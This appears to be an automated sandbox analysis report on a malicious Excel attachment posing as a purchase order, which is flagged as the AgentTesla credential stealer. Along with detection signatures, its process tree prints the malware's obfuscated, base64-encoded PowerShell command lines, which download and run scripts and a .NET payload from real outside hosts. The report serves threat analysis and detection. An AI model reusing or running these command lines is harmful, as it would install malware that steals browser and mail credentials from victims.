Edit tour
Windows
Analysis Report
Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsx
Overview
General Information
| Sample name: | Env#U00edo de Orden de Compra No. 43456435344657.xla.xlsxrenamed because original name is a hash value |
| Original sample name: | Envo de Orden de Compra No. 43456435344657.xla.xlsx |
| Analysis ID: | 1559093 |
| MD5: | 73346e64a29d684532eca0a6a17e8f4c |
| SHA1: | 61980a1ee86bfe46bccfc5d2262c635dc06bf6b6 |
| SHA256: | 18675f25203e08b39f835cec09a3697c6b1998dadcf22ba528828184f9f4515a |
| Tags: | xlaxlsxuser-abuse_ch |
| Infos: |   |
 | |
Detection
AgentTesla, HTMLPhisher
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AgentTesla
Yara detected HtmlPhish44
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document misses a certain OLE stream usually present in this Microsoft Office document type
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 3216 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
mshta.exe (PID: 3540 cmdline: C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) 
powershell.exe (PID: 3656 cmdline: "C:\Window s\sYSteM32 \WInDowspo WeRShelL\V 1.0\POWeRS HElL.EXe" "PoWERsHel L.Exe -EX bYPAsS -noP -W 1 -c DEvIceCr EdenTialdE PLoyment.E xe ; INV oKe-ExPReS SIOn($(InV OkE-exPReS SIon('[sYS tEM.Text.E NcODInG]'+ [CHAR]58+[ CHar]58+'u tf8.GETstR Ing([sYstE M.CONVeRt] '+[ChAR]58 +[chaR]58+ 'FROMBAsE6 4sTRING('+ [CHaR]34+' JGsgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICA9IC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgYURkLXRZ cGUgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAtTW VtQmVyREVG aW5JVGlvbi AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICdbRGxs SW1wb3J0KC J1cmxtT04i LCAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIENoYX JTZXQgPSBD aGFyU2V0Ll VuaWNvZGUp XXB1YmxpYy BzdGF0aWMg ZXh0ZXJuIE ludFB0ciBV UkxEb3dubG 9hZFRvRmls ZShJbnRQdH IgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBkQ2Jw Y2N4dVFRbS xzdHJpbmcg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBJek1tLH N0cmluZyAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IFppdmRUcF YsdWludCAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IGZVeUZIc2 dOZSxJbnRQ dHIgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICBrVU 96SGNmbHp5 KTsnICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgLW 5hTUUgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAi ZGZCIiAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC 1OYU1Fc1BB Q2UgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICBIU2 Jmb1ZwbiAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IC1QYXNzVG hydTsgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAk azo6VVJMRG 93bmxvYWRU b0ZpbGUoMC wiaHR0cDov LzE5Mi4zLj IyLjEzL3hh bXBwL3NlL3 NlZXRoZWJl c3R0aGluZ3 NlbnRpcmV0 aW1ld2l0aG dyZWF0dGhp bmdzd2l0aG xvdmVya2lz cy50SUYiLC IkRW5WOkFQ UERBVEFcc2 VldGhlYmVz dHRoaW5nc2 VudGlyZXRp bWV3aXRoZ3 JlYXR0aGlu Z3N3aXRobG 92ZXJraXMu dmJTIiwwLD ApO1NUYVJ0 LXNsZUVwKD MpO2lFeCAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICIkRU5WOk FQUERBVEFc c2VldGhlYm VzdHRoaW5n c2VudGlyZX RpbWV3aXRo Z3JlYXR0aG luZ3N3aXRo bG92ZXJraX MudmJTIg== '+[cHaR]0x 22+'))'))) " MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3760 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -EX bYPAsS -noP -W 1 -c DEvIce CrEdenTial dEPLoyment .Exe MD5: A575A7610E5F003CC36DF39E07C4BA7D) 
csc.exe (PID: 3880 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\2ejdq4 gg\2ejdq4g g.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3892 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES6826.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\2ej dq4gg\CSC8 D7D0D2F906 B46909F7C7 CB8135B630 .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) 
wscript.exe (PID: 3972 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeth ebestthing sentiretim ewithgreat thingswith loverkis.v bS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 4016 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCdEcDNpbW FnZVVybCA9 IEYxbWh0dH BzOi8vMTAx Ny5maWxlbW FpbC5jb20v YXBpL2ZpbG UvZ2V0P2Zp bGVrZXk9Mi crJ0FhX2JX bzlSZXU0NX Q3QlUxa1Zn c2Q5cFQ5cG dTU2x2U3RH cm5USUNmRm gnKydtVEtq M0xDNlNRdE ljT2NfVDM1 dyZwa192aW Q9ZmQ0ZjYx NGJiMjA5Yz YyYzE3MzA5 NDUxNzZhMD kwNGYgRjFt O0RwM3dlJy snYkNsaWVu dCA9IE5ldy 1PYmplY3Qg U3lzdGVtLk 5ldC5XZWJD bGllbnQ7RH AzaW1hZ2VC eXRlcyA9IE RwM3dlYkNs aWVudCcrJy 5Eb3cnKydu bG9hZERhdG EoRHAzaW1h ZycrJ2VVci crJ2wpO0Rw M2ltYWdlVG V4JysndCA9 IFtTeXN0ZW 0uVGV4dC5F bmNvZGluZ1 06OlVURjgu R2V0U3RyaW 5nKERwM2lt YWdlQnl0ZX MpO0RwM3N0 YXJ0RmxhZy A9IEYxbTwn Kyc8QkFTRT Y0X1NUQVJU Pj5GMW0nKy c7RHAzZW5k RmxhZyA9IE YxbTw8QkFT RTY0X0VORD 4+RjFtO0Rw M3N0YXJ0SS crJ25kZXgg PSBEcDNpbW FnZVRleHQu SW5kZXhPZi hEcDNzdGFy dEZsYWcpO0 RwM2VuZElu ZGUnKyd4ID 0gRHAzaW1h Z2VUZXh0Lk luZGV4T2Yo RHAzZW4nKy dkJysnRmxh Zyk7RHAzc3 RhcnRJbmRl eCAtJysnZ2 UgMCAtYW5k IERwM2VuZE luZGV4IC1n JysndCBEcD NzdGFydElu ZGV4O0RwM3 N0YXJ0SW5k ZXggKz0gRH Azc3RhcnQn KydGJysnbG FnLkxlbmd0 aDtEcDNiYX NlNjRMZW5n dGggPSBEcD NlbmRJbmRl eCAtIERwM3 N0YXJ0SW5k ZXg7RHAzYm FzJysnZTY0 Q29tbWFuZC A9IERwM2lt YWdlVGV4dC 5TdWJzdHJp bmcoRHAzc3 RhcnRJbmRl eCwgRHAzYm FzZTY0TGVu Z3RoKTtEcD NiYXNlNjRS ZXZlcicrJ3 NlZCA9IC1q b2luIChEcD NiYXNlNjRD b21tYW5kLl RvQ2gnKydh ckFyJysncm F5KCkgNTl0 IEZvckVhY2 gtT2JqZWN0 IHsgRHAzXy B9KVstMS4u LScrJyhEcD NiYXNlNjRD b21tYScrJ2 5kLkxlbmd0 aCldO0RwM2 NvbW1hbmRC eXRlcyA9IF tTeXN0ZW0u Q29udmVydF 06OkZyb21C YXNlNjRTdH JpbicrJ2co JysnRHAzYi crJ2FzZTY0 UmV2ZXJzZW QpO0RwM2xv YWQnKydlZE Fzc2VtYmx5 ID0gW1N5c3 RlbS5SZWZs ZScrJ2N0aW 9uLkFzc2Vt Ymx5XScrJz o6TG9hZChE cDNjb21tYW 5kQnl0ZXMp O0RwM3ZhaU 1ldGhvZCcr JyA9JysnIF tkJysnbmxp Yi5JTy5Ib2 1lXS5HZXRN ZXRob2QoRj FtVkFJRjFt KTtEcDN2YW lNZXRob2Qu SW52bycrJ2 tlKERwM251 bGwsIEAoRj FtdHh0LkZS RkZSVy8yNT MvMzEuMjIu My4yOTEvLz pwdHRoRjFt LCBGMW1kZX NhdGl2YWRv RjFtLCBGJy snMW1kZXNh dGl2YWRvRj FtLCBGMW1k ZXNhdGl2YW RvRjFtLCBG MW1BZGRJbl AnKydyb2Nl c3MzJysnMk YxbSwgRjFt ZGVzYXRpdm Fkb0YxbSwg RjFtZGVzYX RpdmFkb0Yx bSxGMW1kZX NhdGl2YWRv RjFtLEYxbW Rlc2F0aXZh ZG9GMScrJ2 0sRjFtJysn ZGVzYXRpdm Fkb0YxbSxG MW1kZXNhdG l2YWRvRjFt LCcrJ0YxbW Rlc2F0aXZh ZG9GMW0sRj FtMUYxbSxG MW1kZXNhdG l2YWRvRjFt KSk7JykuUk VwbGFjZSgo W2NoYVJdNz ArW2NoYVJd NDkrW2NoYV JdMTA5KSxb c1RSSU5nXV tjaGFSXTM5 KS5SRXBsYW NlKChbY2hh Ul02OCtbY2 hhUl0xMTIr W2NoYVJdNT EpLCckJyku UkVwbGFjZS goW2NoYVJd NTMrW2NoYV JdNTcrW2No YVJdMTE2KS xbc1RSSU5n XVtjaGFSXT EyNCl8IC4o KEdldC1WQV JJYWJMRSAn Km1kcionKS 5OYW1lWzMs MTEsMl0tSm 9pTicnKQ== ';$OWjuxd = [system. Text.encod ing]::UTF8 .GetString ([system.C onvert]::F rombase64S tring($cod igo));powe rshell.exe -windowst yle hidden